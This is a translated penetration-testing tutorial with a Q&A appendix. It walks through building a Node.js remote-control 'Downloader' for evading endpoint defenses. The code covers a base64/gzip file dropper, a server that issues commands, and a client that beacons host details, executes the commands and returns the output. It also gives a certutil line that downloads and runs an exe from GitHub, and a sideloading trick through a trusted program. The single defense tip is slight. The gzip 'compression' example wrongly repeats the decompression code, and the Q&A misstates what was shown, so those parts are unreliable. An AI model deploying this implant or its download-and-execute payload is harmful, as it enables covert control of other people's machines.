Node.js in Penetration Testing - Implementation of a Downloader

Onedaysec
6 min read
0 views
docx image 1770017235635 0 2b4b3f0fb8

0x00 Preface

---

Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I/O model, making it lightweight and efficient.

I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.

Learning resource for bypassing active defense with Node.js:

https://bbs.pediy.com/thread-249573.htm

0x01 Introduction

---

This article will cover the following:

  • Basic Concepts
  • File Dropper Implementation using Node.js
  • Downloader Implementation using Node.js
  • Exploitation Ideas
  • Defense Recommendations

0x02 Basic Concepts

---

Difference between Node.js and JavaScript

JavaScript is a programming language

Node.js is a JavaScript runtime environment built on Chrome's V8 engine

Although both use .js file extensions on Windows, they differ significantly and have different syntax

Using Node.js

Official documentation:

https://nodejs.org/api/

Chinese resources:

http://www.runoob.com/nodejs/nodejs-tutorial.html

Download address:

https://nodejs.org/en/download/

On Windows, Node.js code is saved in files with .js extension and executed via node.exe

Node.js supports third-party packages; modules can be installed using npm command, example as follows:

Install web framework module express:

npm install express

Use module express:

var express = require('express');

Note:

The code covered in this article does not use third-party packages, only uses node.exe from the installation package

0x03 File Release Implementation Using Node.js

---

Implementation Approach:

Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file

1. Read file content, perform base64 encoding, and output to data.txt

function base64_encode(file) {
var fs = require('fs');
var data = fs.readFileSync(file);
return Buffer.from(data).toString('base64');
}
var base64str = base64_encode('test.exe');
console.log(base64str);

Note:

fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading

Execute:

node.js base64encode.js >data.txt

2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe

function base64_decode(base64str, file) {
var data = Buffer.from(base64str, 'base64');
fs.writeFileSync(file, data);
}
var fs = require('fs');
var base64str = fs.readFileSync('data.txt');
console.log(base64str.toString());
base64_decode(base64str.toString(), 'test2.exe');

Note:

After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variablebase64strneeds to be explicitly converted to a string type, i.e., base64str.toString()

To reduce file size, incorporate the gzip compression algorithm

1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz

function gunzip(sourcePath) {
var zlib = require('zlib');
var fs = require('fs');
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe

var zlib = require('zlib');
var fs = require('fs');
function gunzip(sourcePath) {
var unzip = zlib.createGunzip();
var rs = fs.createReadStream(sourcePath);
var ws = fs.createWriteStream('test2.exe');
rs.pipe(unzip).pipe(ws);
}
gunzip('data.gz');

0x04 Downloader implemented using Node.js

---

Implementation approach:

1. Server

  • Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data
  • Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page

2. Client

  • Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version
  • Receive control commands returned by the server, execute them, and then send the results back to the server
  • If the server does not respond, wait for a period of time before sending the post request again

The following issues need to be considered:

1. Execute cmd commands via Node.js

function runcmd(command) {
var childprocess = require('child_process');
childprocess.exec(command, (err, stdout, stderr) => {
if (err) {
console.error(err);
return;
}
console.log(stdout);
});
}
runcmd('whoami');

2. Implementation of HTTP Communication

Server:

var http = require('http');
var querystring = require('querystring');
http.createServer(function (req, res) {
var body = '';
console.log('req.url:',req.url);
req.on('data', function (chunk) {
body += chunk;
console.log("chunk:",chunk);
});
req.on('end', function () {
body = querystring.parse(body);
console.log('body:',body);
res.write('Message from server');
res.end();
});
}).listen(3000,'0.0.0.0');

Client:

function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);

var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
sendHello('127.0.0.1','3000');

Client sends post data to Server, content is data1=str1&data2=str2

After receiving the request, Server replies to Client with 'Message from server'

3. Implementation of sleep

Node.js does not support sleep operation by default, it can be implemented as follows:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while (new Date().getTime() < startTime + milliSeconds);
}
var timeinterval = +'5000';
sleep(timeinterval);

Convert string type to number by adding + in front

4. Client periodically sends post requests in a loop

Here we need to consider asynchronous and synchronous issues

Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:

Server:

Code same as above

Client:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while(new Date().getTime()< startTime + milliSeconds);
}
function sendHello(host1,port1){
var http = require('http');
var querystring = require('querystring');
var contents = querystring.stringify({
data1:'str1',
data2:'str2'
});
var options = {
host: host1,
port: port1,
path: '/',
method:'POST',
headers:{
'Content-Type':'application/x-www-form-urlencoded',
'Content-Length':contents.length
}
}
console.log('post options:\n',options);
console.log('content:',contents);

var req = http.request(options, function(res){
console.log('headers:', res.headers);
var data1='';
res.on('data', function(chunk){
data1 += chunk;
});
res.on('end', function(){
console.log('result:',data1)
});
});
req.write(contents);
req.end;
};
while (true)
{
console.log('1');
sleep(5000);
sendHello('127.0.0.1','3000');
}

Expected result:

Client sends a POST request every 5 seconds and receives the result

Actual result:

The loop executes every 5 seconds, but the Client does not send a request

Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization

Finally, I resolved the synchronization issue through method nesting, as shown in the following example:

function sleep(milliSeconds){
var startTime = new Date().getTime();
while(new Date().getTime() < startTime + milliSeconds);
}
function A(){
console.log('A');
B();
}
function B(){
console.log('B');
sleep(5000);
A();
}
A();

5. Server displays Client's IP

Code as follows:

function getClientIp(req) {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
req.connection.socket.remoteAddress;
};

Default format is IPv6, for example:

::ffff:127.0.0.1

Can be specified as IPv4 by modifying listen parameters

Before modification:

.listen(3000);

After modification:

.listen(3000,'0.0.0.0');

6. The server checks the POST request and replies with 404 if it does not meet requirements.

Simply check the content of the body.

The complete implementation code has been open-sourced at:

An open-source project

Note:

The open-source code is merely an example, used to demonstrate NodeJS functionality.

Usage is as follows:

First, obtain node.exe from the download address: https://nodejs.org/en/download/

1. Edit the file Server.js

You can compile the following content:

  • Command sent to the client: var command
  • Listen on port: .listen(80,'0.0.0.0');

2. Start the Server

node.exe Server.js

Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.

Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page

3. Edit the file Client.js

Compile the following content:

  • Server IP: var serverip
  • Server port: var serverport
  • Loop interval time: var timeinterval

4. Start Client

node.exe Client.js

Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version

Then receive control commands returned by the Server, execute them, and send the results back to the Server

If the Server does not respond, wait for a period before sending the post request again

0x05 Exploitation Approach

---

1. The open-source code supports multiple payloads

The payload can be set to download and execute files, for example

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.

Note:

To send a command for Client exit, use:

var command = 'taskkill /f /im node.exe';

2. Can be loaded by third-party trusted programs

Reference:

https://bbs.pediy.com/thread-249573.htm

t.exe -> node.exe -> main.js

Demonstration as shown:

2. Can be loaded by third-party trusted programs — technical illustration 1

0x06 Defense Recommendations

---

Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.

0x07 Summary

---

This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.

It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.

Related Questions & Answers

What Node.js modules are essential for implementing the server and client in the article's Downloader?

The essential modules are `http` for creating the server and making client requests, `querystring` for parsing and stringifying POST data, and `child_process` for executing system commands on the client side. The article also uses `fs` for file operations and `zlib` for compression. No third-party packages are used—only the built-in Node.js modules. For a deeper dive into this technique, refer to the original article: [Node.js in Penetration Testing - Implementation of a Downloader](/news/node-js-in-penetration-testing-implementation-of-a-downloader).

How does the article's Downloader (C2) communicate between the server and client, and what information does the client send?

The server listens on a specified port and parses POST data, while the client connects periodically, sending system information such as the hostname and operating system version. The server can then respond with control commands, which the client executes using `child_process.exec`. If no command is received, the client sleeps for a set interval before retrying. This mirrors command-and-control patterns discussed in [Penetration Techniques - Deletion and Bypass of Windows Logs](/news/penetration-techniques-deletion-and-bypass-of-windows-logs).

What synchronization challenge does the article encounter when building a periodic HTTP client in Node.js, and how is it resolved?

Node.js is asynchronous by nature, so a simple `while` loop with a `sleep` function does not work because HTTP requests are non-blocking and callbacks are deferred. The article solves this by using method nesting: after a request completes (or after a timeout), the next request is called recursively, ensuring sequential execution. This approach avoids the need for third-party modules like `async`. For more on bypassing logs during persistence, see [Penetration Basics - Bypassing SSH Logs](/news/penetration-basics-bypassing-ssh-logs).

How does the article implement a file dropper using Node.js, and what techniques are used to reduce payload size?

The file dropper works by base64 encoding an executable file and storing the encoded string, then decoding and writing it back at runtime. To reduce the payload size, the author also demonstrates using gzip compression with `zlib.createGzip()` and decompression with `zlib.createGunzip()`, leveraging Node.js streams via `pipe()`. This approach is similar to techniques used in [Volume Shadow Copy in Penetration Testing](/news/volume-shadow-copy-in-penetration-testing) for stealthy file manipulation.

What is the key difference between Node.js and JavaScript as highlighted in the article?

JavaScript is a programming language, while Node.js is a JavaScript runtime environment built on Chrome's V8 engine. Although both use .js file extensions on Windows, they have different syntax and execution environments—Node.js runs server-side and supports file system operations, HTTP modules, and third-party packages via npm. For more on using Node.js in offensive security, see the full article: [Node.js in Penetration Testing - Implementation of a Downloader](/news/node-js-in-penetration-testing-implementation-of-a-downloader).

Continue Reading